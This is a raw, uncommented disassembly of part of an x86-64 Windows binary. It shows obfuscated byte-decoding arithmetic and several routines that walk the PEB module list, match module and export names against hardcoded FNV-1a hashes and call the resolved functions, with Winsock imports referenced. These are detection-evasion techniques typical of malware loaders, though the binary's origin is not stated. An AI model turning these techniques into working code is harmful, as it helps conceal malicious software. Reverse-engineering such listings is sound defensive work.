lea rax, [r11 + rbx]
cmp rax, r9
jbe 0x1401064f1
lea rax, [r11 + 0x5a]
cmp rbx, rax
je 0x1401064d4
lea rax, [r11 + 9]
cmp rbx, rax
je 0x1401064ba
lea rax, [r11 + 0x200]
cmp rbx, rax
je 0x1401064a0
lea rax, [r11 + 1]
cmp rbx, rax
je 0x140106483
lea rax, [r11 + 0x10]
cmp rbx, rax
je 0x14010626a
mov rbx, rax
lea r11, [rax + 0x10]
lea rax, [r11 + 0x400]
cmp rbx, rax
jb 0x140106975
lea rax, [r11 + 3]
cmp rbx, rax
jb 0x140106332
lea rax, [r11 + 0x28]
cmp rbx, rax
jb 0x1401063dd
lea rax, [r11 + 0x61]
cmp rbx, rax
jb 0x1401063bb
mov rbx, rax
lea r11, [rax + 5]
lea rax, [r11 + 5]
cmp rbx, rax
ja 0x14010639d
lea rax, [r11 + 0x42]
cmp rbx, rax
ja 0x140106380
lea rax, [r11 + 0x41]
cmp rbx, rax
ja 0x140106366
lea rax, [r11 + 8]
cmp rbx, rax
ja 0x14010634c
lea rax, [r11 + 0x80]
cmp rbx, rax
ja 0x14010626a
mov rbx, rax
lea r11, [rax + 0x80]
jmp 0x14010626a
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x1401061f3
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401068aa
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x1401068e3
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
mov r10b, r9b
jmp 0x1401067f8
lea edx, [r9 + 0x18]
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010695e
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xb
mov byte [rbp + r9 + 0x410], dil
jmp 0x14010696d
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r11 + rbx]
cmp rax, 0xa
je 0x14010679e
lea rax, [r11 + 0xa]
cmp rbx, rax
jbe 0x1401065d8
lea edx, [r9 - 0x53]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x45
add dil, dl
cmp rbx, r15
jae 0x140106754
lea rax, [r11 + 0x1000]
cmp rbx, rax
jbe 0x140106672
lea edx, [r9 - 0x4e]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r11, 6
jb 0x1401063d0
mov r10b, r9b
lea edx, [r10 - 0x7a]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x54]
jmp 0x140106876
mov r10b, r9b
lea ecx, [r10 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x1401067f8
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x1401068e3
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x1401068aa
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
mov r10b, r9b
jmp 0x140106876
lea rax, [r11 + 0x41]
cmp rbx, rax
jae 0x140106514
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x1401063f2
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140106537
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x14010695e
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x14010655e
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140106914
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140106588
mov r10b, r9b
lea edx, [r10 - 0x32]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401067f8
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x1401065ad
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r12d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401068e3
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x1401063f2
mov r10b, r9b
lea edx, [r10 + 0x1a]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140106873
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x1401065fe
mov r10b, r9b
lea edx, [r10 + 0xf]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x69
jmp 0x140106873
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x140106622
lea ecx, [r9 - 0x2d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x3b
jmp 0x1401068c5
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140106648
lea edx, [r9 + 0x35]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x73
mov r10b, r9b
jmp 0x140106774
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x140106425
mov r10b, r9b
lea edx, [r10 + 0x5b]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7d
jmp 0x1401067f5
lea rax, [r11 + 1]
cmp rbx, rax
jne 0x140106699
lea edx, [r9 + 0x14]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010695e
lea rax, [r11 + 2]
cmp rbx, rax
jne 0x1401066c0
mov r10b, r9b
lea edx, [r10 - 0x28]
mov al, r8b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401067f5
lea rax, [r11 + 5]
cmp rbx, rax
jne 0x1401066e4
lea ecx, [r9 - 0x64]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x1401068e3
lea rax, [r11 + 3]
cmp rbx, rax
jne 0x140106705
mov r10b, r9b
lea edx, [r10 - 2]
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140106771
lea rax, [r11 + 4]
cmp rbx, rax
jne 0x14010672c
lea edx, [r9 + 0x60]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401068c5
lea rax, [r11 + 7]
cmp rbx, rax
jne 0x140106457
lea ecx, [r9 - 0x3e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4e
jmp 0x1401068aa
mov r10b, r9b
lea edx, [r10 - 0x18]
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x410]
sub dil, al
sub dil, 0x58
add dil, r8b
add dil, dl
add r10b, 0x19
mov al, r8b
and al, r10b
add al, al
mov cl, dil
sub cl, al
add cl, 0x51
add cl, r8b
add cl, r10b
mov byte [rbp + r9 + 0x410], cl
jmp 0x1401068e3
mov r10b, r9b
lea edx, [r10 + 0x4a]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, byte [rbp + r9 + 0x410]
sub dil, 6
jmp 0x1401067f5
lea edx, [r9 + 0x15]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x140106914
mov r10b, r9b
lea edx, [r10 - 0x4d]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x1b
add dil, dl
add r10b, 0x7b
mov al, r8b
and al, r10b
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x5d
add cl, r10b
movzx eax, cl
mov byte [rbp + r9 + 0x410], al
add r11, r12
add rax, r11
sub r9, rax
jmp 0x140106914
lea ecx, [r9 + 0x51]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x37
jmp 0x1401068e6
lea ecx, [r9 + 0x2b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2d
jmp 0x1401068c5
mov r10b, r9b
lea edx, [r10 + 0x67]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x2f
add dil, dl
sub r10b, r13b
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, r10b
sub r8b, r12b
mov byte [rbp + r9 + 0x410], r8b
jmp 0x1401068aa
lea ecx, [r9 + 0x41]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x39
add r11, r12
jmp 0x1401068c5
lea ecx, [r9 - 0x21]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x19
sub r9, r12
jmp 0x14010696d
lea ecx, [r9 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x43
add rbx, r11
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010696d
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
and dl, cl
add dl, dl
mov dil, r8b
sub dil, dl
add dil, 0x4d
add dil, cl
lea edx, [r9 - 0x54]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x410], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010695e
movabs rax, 0x9f89901e00560293
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x410]
add rax, r11
add r9, rax
add r9, r12
jmp 0x14010616f
add r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x7b
jmp 0x14010615a
lea rdx, [rbp + 0x16decfc]
jmp 0x1401069aa
lea rdx, [rbp + 0x75432d]
jmp 0x1401069aa
lea rdx, [rbp + 0x410]
lea rcx, [rbp + 0x3f0]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
xor eax, eax
mov r13d, 0xcded1a85
test rdx, rdx
jne 0x140106b20
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140106a37
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140106a29
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140106a18
cmp r9d, esi
jne 0x140106b11
mov r11, qword [rcx + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140106b11
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x140106b11
mov edi, dword [r10 + 0x20]
dec ebx
lea r8, [rdi + rbx*4]
mov r9d, dword [r8 + r11]
add r9, r11
mov r8d, 0x811c9dc5
jmp 0x140106a8c
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x140106a7f
cmp r8d, r14d
je 0x140106aa1
test ebx, ebx
jne 0x140106a6a
jmp 0x140106b11
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r11
cmp rdx, r10
jbe 0x140106b19
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140106b19
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140106ae2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140106ad4
jmp 0x140106af7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140106aea
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401069ec
mov qword [0x14017c650], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
xor eax, eax
test rbx, rbx
jne 0x140106c98
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140106ba3
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140106b95
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140106b84
cmp r8d, esi
jne 0x140106c73
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140106c73
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140106c73
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140106bf7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140106bec
cmp edx, r14d
je 0x140106c0d
test r11d, r11d
jne 0x140106bd7
jmp 0x140106c73
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r10
cmp rbx, r9
jbe 0x140106c91
lea rcx, [rax + r9]
cmp rbx, rcx
jae 0x140106c91
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140106c67
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140106c44
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140106c5a
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140106c8c
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140106b58
jmp 0x140106c8e
xor eax, eax
mov rbx, rax
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
xor eax, eax
test rdx, rdx
jne 0x140106e16
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140106d21
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140106d13
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140106d02
cmp r8d, esi
jne 0x140106df1
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140106df1
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140106df1
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140106d75
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140106d6a
cmp edx, r14d
je 0x140106d8b
test r11d, r11d
jne 0x140106d55
jmp 0x140106df1
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x140106e0f
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x140106e0f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140106de5
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140106dc2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140106dd8
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140106e0a
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140106cd6
jmp 0x140106e0c
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6e0]
xor eax, eax
test rdx, rdx
jne 0x140106f8b
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x140106e96
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140106e88
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140106e77
cmp r8d, esi
jne 0x140106f66
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x140106f66
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x140106f66
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x140106eea
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140106edf
cmp edx, r14d
je 0x140106f00
test r11d, r11d
jne 0x140106eca
jmp 0x140106f66
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x140106f84
lea rcx, [rax + r9]
cmp rdx, rcx
jae 0x140106f84
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140106f5a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140106f37
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140106f4d
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140106f7f
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140106e4b
jmp 0x140106f81
xor eax, eax
mov rdx, rax
mov qword [0x14017c6e0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14017c6d8]
xor eax, eax
test rdx, rdx
jne 0x140107100
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010700b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140106ffd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140106fec
cmp r8d, esi
jne 0x1401070db
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x1401070db
mov r11d, dword [r9 + 0x18]
test r11d, r11d
je 0x1401070db
mov ebx, dword [r9 + 0x20]
dec r11d
lea rdx, [r10 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010705f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140107054
cmp edx, r14d
je 0x140107075
test r11d, r11d
jne 0x14010703f
jmp 0x1401070db
mov r8d, dword [r9 + 0x1c]
add r8, r10
mov edx, dword [r9 + 0x24]
add rdx, r10
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r9
jbe 0x1401070f9
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x1401070f9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401070cf
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401070ac
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401070c2
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401070f4
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x140106fc0
jmp 0x1401070f6
xor eax, eax
mov rdx, rax
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
xor ebx, ebx
cmp qword [0x14017c6d0], rbx
jne 0x14010727f
mov esi, ebx
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010717d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14010716f
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14010715e
cmp r8d, esi
jne 0x140107260
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r10d, eax
add r10, r11
shr rax, 0x20
cmp r10, r11
je 0x140107260
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140107260
mov ebx, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x1401071d1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401071c6
cmp edx, r14d
je 0x1401071e9
test r9d, r9d
jne 0x1401071b1
xor ebx, ebx
jmp 0x140107260
mov r8d, dword [r10 + 0x1c]
add r8, r11
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r11
cmp r9, r10
jbe 0x14010734d
lea rcx, [r10 + rax]
cmp r9, rcx
jae 0x14010734d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14010723f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140107228
add r9, rcx
xor ebx, ebx
jmp 0x140107256
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140107246
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x140107275
cmp qword [rax + 0x30], rbx
jne 0x140107132
mov r9, rbx
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x1401072f7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r9d, 0x811c9dc5
cmp rcx, rdx
je 0x1401072dc
movsx eax, byte [rcx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401072bd
cmp r9d, 0x610c0de3
je 0x140107354
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x1401072ed
cmp qword [rax + 0x30], rbx
jne 0x1401072a2
mov r8, rbx
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, ebx
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r8 + rax*4]
mov edx, dword [rcx + r11]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140107348
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x14010732c
cmp ecx, 0xe463da3c
je 0x14010735a
add r9d, edi
jmp 0x140107310
xor ebx, ebx
jmp 0x140107278
mov r8, qword [r8 + 0x30]
jmp 0x1401072f0
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
test r10, r10
jne 0x1401074ff
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401073f8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401073ea
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401073d9
cmp r8d, esi
jne 0x1401074db
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x1401074db
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1401074db
mov ebx, dword [r9 + 0x20]
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x14010744c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140107441
cmp edx, r14d
je 0x140107464
test r10d, r10d
jne 0x14010742c
xor ebx, ebx
jmp 0x1401074db
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r11
cmp r10, r9
jbe 0x14010756f
lea rcx, [r9 + rax]
cmp r10, rcx
jae 0x14010756f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401074ba
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401074a3
add r10, rcx
xor ebx, ebx
jmp 0x1401074d1
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401074c1
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401074f0
cmp qword [rax + 0x30], rbx
